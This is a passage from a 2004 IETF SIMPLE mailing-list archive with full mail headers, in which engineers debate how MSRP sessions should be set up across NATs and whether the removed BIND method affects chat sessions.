>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 19:12:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA08788
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 19:12:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygSZ-00080p-1c
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 19:11:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i240BVpb030793
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 19:11:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygSY-00080a-SL
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 19:11:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA08670
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 19:11:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygSV-0000SX-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 19:11:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygRN-00009e-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 19:10:19 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygQ1-0007WX-00; Wed, 03 Mar 2004 19:08:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AygDA-0001Ns-FI; Wed, 03 Mar 2004 18:55:36 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygCd-0006Bd-Ac; Wed, 03 Mar 2004 18:55:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygBi-00064w-7l
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:54:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08135
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:54:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygBf-0005SP-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:54:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygAy-0005Id-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:53:21 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygAH-00055e-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:52:37 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i23NqEIw084382;
	Wed, 3 Mar 2004 17:52:15 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40466EDB.5070004@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: adam@dynamicsoft.com, rohan@cisco.com, pkyzivat@cisco.com,
        fluffy@cisco.com, rsparks@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 08:48:43 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Just for the record, this conversation was about using delayed offers to 
control which MSRP endpoint initiates a connection. I thought that we 
had concensus in the wg meeting to atandardize that one end (either the 
inviter or the invitee) always initiated the connection, if one did not 
already exist. Did people understand otherwise?

If true, then this seems a rather academic excercise.

hisham.khartabil@nokia.com wrote:
> Just for the recond, I fully support adam's views on this issue.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Adam Roach
>>Sent: 03.March.2004 12:39
>>To: 'Rohan Mahy'; Adam Roach
>>Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>>simple@ietf.org
>>Subject: RE: [Simple] RE: MSRP & Comedia
>>
>>
>>I really don't like the prospect of requiring caller
>>prefs to avoid these kind of bizarre and unfortunate
>>user experiences.
>>
>>My main point is that using empty INVITEs seems to
>>cause more problems than it solves. Are these problems
>>completely intractable? Probably not. Are they
>>unpleasant? Well, I certainly think so.
>>
>>So, given the chance, I'd far prefer to see solutions
>>that don't require callee offers explored before we
>>resort to a tool that brings unpleasant consequences
>>(or, at the very least, specific additional mechanisms
>>added throughout the system).
>>
>>/a
>>
>>
>>>-----Original Message-----
>>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>>Sent: Wednesday, March 03, 2004 2:17
>>>To: Adam Roach
>>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
>>>Jennings'; Robert
>>>Sparks; simple@ietf.org
>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>
>>>
>>>Adam,
>>>
>>>You could use caller prefs even with your 
>>
>>rusty/dusty/trusty "legacy" 
>>
>>>SIP phone  ;-).
>>>
>>>You would need something to add media feature parameters to the 
>>>registration of the 7960 on its behalf.  This is not that 
>>
>>big a deal.
>>
>>>thanks,
>>>-rohan
>>>
>>>
>>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>>
>>>
>>>>That's all great. Now tell me how it works using
>>>>the Cisco 7960 sitting on my desk right now. Assume
>>>>that upgrading the software is not an option.
>>>>
>>>>/a
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>>To: Adam Roach
>>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>>simple@ietf.org
>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>
>>>>>
>>>>>There are a couple of solutions to the bad user experience
>>>>>you outline:
>>>>>
>>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>>   For this to work the UAS would have to evaluate the 
>>
>>callerprefs,
>>
>>>>>   which isn't currently required or expected.
>>>>>
>>>>>- preconditions could be used to ensure that there is a 
>>>
>>>satisfactory
>>>
>>>>>   agreement on media before alerting. In this particular
>>>>>case it would
>>>>>   be the UAS that inserts the preconditions as a way of 
>>>
>>>improving the
>>>
>>>>>   user experience at its end. Most any precondition would 
>>>
>>>do, though
>>>
>>>>>   the newly proposed connectivity precondition would be quite
>>>>>   appropriate. A hypothetical new precondition relating to
>>>>>negotiation
>>>>>   of some acceptable (set of) media stream(s) might also be
>>>>>interesting.
>>>>>
>>>>>Paul
>>>>>
>>>>>Adam Roach wrote:
>>>>>
>>>>>>Okay, so, the user experience you're promoting
>>>>>>here would lead to a situation in which you open
>>>>>>up your IM client, type in a message for me,
>>>>>>and my desktop hard phone starts ringing. Several
>>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>>sends a "200 OK" response, and... well, nothing
>>>>>>good can come of any result at this point.
>>>>>>
>>>>>>If your client supports audio, my voice is suddenly
>>>>>>coming out of your PC speakers. If not, the call
>>>>>>is torn down, your client renders an error to you,
>>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>>handset.
>>>>>>
>>>>>>This is the problem that I've pointed out occasionally
>>>>>>for several years: this "send an INVITE with no body"
>>>>>>approach for setting up sessions causes all kinds
>>>>>>of problems. It was originally added for interwork
>>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>>because we observed that it can be used in this clever
>>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>>semantically means the same thing as the dialog
>>>>>>box that I sent earlier.
>>>>>>
>>>>>>/a
>>>>>>
>>>>>>
>>>>>>
>>>>>>>-----Original Message-----
>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>>Cc: simple@ietf.org
>>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>It just sends an offer with all three and then the other ends
>>>>>>>selects. This
>>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>>then get the
>>>>>>>offer in the response and put the answer in the ack.
>>>>>>>
>>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>>
>>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>>decision of what type of communication is requested
>>>>>>>>from the caller to the callee. Without getting into a 
>>
>>discussion
>>
>>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>>going to differ from user expectations.
>>>>>>>>
>>>>>>>>+----------------------------------------------+
>>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>>| what kind. Take your best guess:             |
>>>>>>>>|                                              |
>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>+----------------------------------------------+
>>>>>>>>
>>>>>>>>/a
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>>-----Original Message-----
>>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>>Cc: simple@ietf.org
>>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>>for thought
>>>>>>>>>
>>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>>answer sends
>>>>>>>>>the VISIT.
>>>>>>>>>
>>>>>>>>>Consider the cases where A want to set up a MSRP 
>>>
>>>session with B.
>>>
>>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>>an INVITE with
>>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>>
>>>>>>>sends the VISIT.
>>>>>>>
>>>>>>>
>>>>>>>>>A -> inv    -> B
>>>>>>>>>A <- offer  <- B
>>>>>>>>>A -> answer -> B
>>>>>>>>>A -> visit  -> B
>>>>>>>>>
>>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>>A sends VISIT.
>>>>>>>>>A -> offer  -> B
>>>>>>>>>A <- answer <- B
>>>>>>>>>A <- visit  <- B
>>>>>>>>>
>>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>>relay is needed
>>>>>>>>>and gets one and sends offer.
>>>>>>>>>
>>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>>port you are
>>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>>should not be
>>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>>that the other
>>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>>
>>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>>both saying they
>>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>>able to talk to
>>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>>
>>>>>>>>
>>>>>>>>_______________________________________________
>>>>>>>>Simple mailing list
>>>>>>>>Simple@ietf.org
>>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>>>>
>>>>>>_______________________________________________
>>>>>>Simple mailing list
>>>>>>Simple@ietf.org
>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>
>>>>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 19:28:59 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09720
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 19:28:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygjS-0003ef-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 19:28:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygiX-0003VM-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 19:28:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygiH-0003M2-00; Wed, 03 Mar 2004 19:27:45 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyghZ-0000qd-M2; Wed, 03 Mar 2004 19:27:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyghU-0000pr-3n
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 19:26:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09651
	for <simple@ietf.org>; Wed, 3 Mar 2004 19:26:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyghS-0003KP-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:26:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyggW-0003BQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:25:57 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aygfk-00032n-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:25:08 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i240OwIw086862;
	Wed, 3 Mar 2004 18:25:07 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40467687.4030909@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Marjou Xavier <xavier.marjou@siemens.com>
CC: "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] BIND and Chat sessions
References: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
In-Reply-To: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by magus.nostrum.com id i240OwIw086862
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 09:21:27 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Just to be clear, the current MSRP draft removed the BIND method. (As=20
well as anything else related to relays.)

However, the relay extension proposed in the wg meeting would most=20
likely have something analogous.

Marjou Xavier wrote:
> Hi,
>=20
> I think one must not forget that the BIND method of MSRP could be a pot=
ential problem for Chat sessions. This is because the "media" BIND reques=
t would happen before "control" SIP request of the session establishment.
>=20
> Best Regards,
> Xavier Marjou
>=20
> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of=
 Miguel.An.Garcia@nokia.com
> Sent: vendredi 20 f=E9vrier 2004 07:45
> To: simple@ietf.org
> Cc: aki.niemi@nokia.com
> Subject: [Simple] Chat sessions
>=20
> Hi:
>=20
> I would like to draw your attention to a draft that Aki and me submitte=
d a few days ago. We are addressing those missing components in a multipa=
rty session based messaging (aka chat room). The draft is:
>=20
> http://www.ietf.org/internet-drafts/draft-niemi-simple-chat-00.txt
>=20
> We are focusing on two aspects at the moment: setting and displaying a =
nickname; and sending private messages to a subset of the participants (s=
idebar messaging conferences).
>=20
> We have defined a convention to transport nicknames in message/cpim. Me=
ssages can be addressed to the whole chat room or just a subset of the pa=
rticipants. We have also provided an XML document that allows a participa=
nt to set her nickname and the chat room server to accept it.
>=20
> Comments are welcome.
>=20
> /Miguel
> ---
> Miguel A. Garcia           tel:+358-50-4804586   =20
> Nokia Research Center      Helsinki, Finland
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 19:29:30 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09760
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 19:29:30 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygjV-00014v-6T
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 19:29:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i240T17Y004143
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 19:29:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AygjV-00014k-2G
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 19:29:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09735
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 19:28:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygjT-0003ek-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 19:28:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AygiY-0003VT-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 19:28:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AygiH-0003M2-00; Wed, 03 Mar 2004 19:27:45 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyghZ-0000qd-M2; Wed, 03 Mar 2004 19:27:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyghU-0000pr-3n
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 19:26:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09651
	for <simple@ietf.org>; Wed, 3 Mar 2004 19:26:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyghS-0003KP-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:26:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyggW-0003BQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:25:57 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aygfk-00032n-00
	for simple@ietf.org; Wed, 03 Mar 2004 19:25:08 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i240OwIw086862;
	Wed, 3 Mar 2004 18:25:07 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40467687.4030909@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Marjou Xavier <xavier.marjou@siemens.com>
CC: "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] BIND and Chat sessions
References: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
In-Reply-To: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by magus.nostrum.com id i240OwIw086862
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 09:21:27 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Just to be clear, the current MSRP draft removed the BIND method. (As=20
well as anything else related to relays.)

However, the relay extension proposed in the wg meeting would most=20
likely have something analogous.

Marjou Xavier wrote:
> Hi,
>=20
> I think one must not forget that the BIND method of MSRP could be a pot=
ential problem for Chat sessions. This is because the "media" BIND reques=
t would happen before "control" SIP request of the session establishment.
>=20
> Best Regards,
> Xavier Marjou
>=20
> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of=
 Miguel.An.Garcia@nokia.com
> Sent: vendredi 20 f=E9vrier 2004 07:45
> To: simple@ietf.org
> Cc: aki.niemi@nokia.com
> Subject: [Simple] Chat sessions
>=20
> Hi:
>=20
> I would like to draw your attention to a draft that Aki and me submitte=
d a few days ago. We are addressing those missing components in a multipa=
rty session based messaging (aka chat room). The draft is:
>=20
> http://www.ietf.org/internet-drafts/draft-niemi-simple-chat-00.txt
>=20
> We are focusing on two aspects at the moment: setting and displaying a =
nickname; and sending private messages to a subset of the participants (s=
idebar messaging conferences).
>=20
> We have defined a convention to transport nicknames in message/cpim. Me=
ssages can be addressed to the whole chat room or just a subset of the pa=
rticipants. We have also provided an XML document that allows a participa=
nt to set her nickname and the chat room server to accept it.
>=20
> Comments are welcome.
>=20
> /Miguel
> ---
> Miguel A. Garcia           tel:+358-50-4804586   =20
> Nokia Research Center      Helsinki, Finland
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 20:03:20 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11178
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 20:03:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGh-0001WI-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:03:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFf-0001Hw-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:02:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEg-00015k-00; Wed, 03 Mar 2004 20:01:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhEV-0004Cf-7s; Wed, 03 Mar 2004 20:01:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7P-00070u-FL
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:48:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA07790
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:48:16 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR71-0004RO-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:48:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR64-0004J4-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:47:20 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR5h-0004BB-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:46:53 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kqZ04226;
	Wed, 3 Mar 2004 09:46:52 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:46:46 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237kkJu014975;
	Wed, 3 Mar 2004 09:46:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00aUeHhP; Wed, 03 Mar 2004 09:46:44 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kh724309;
	Wed, 3 Mar 2004 09:46:43 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:46:40 +0200
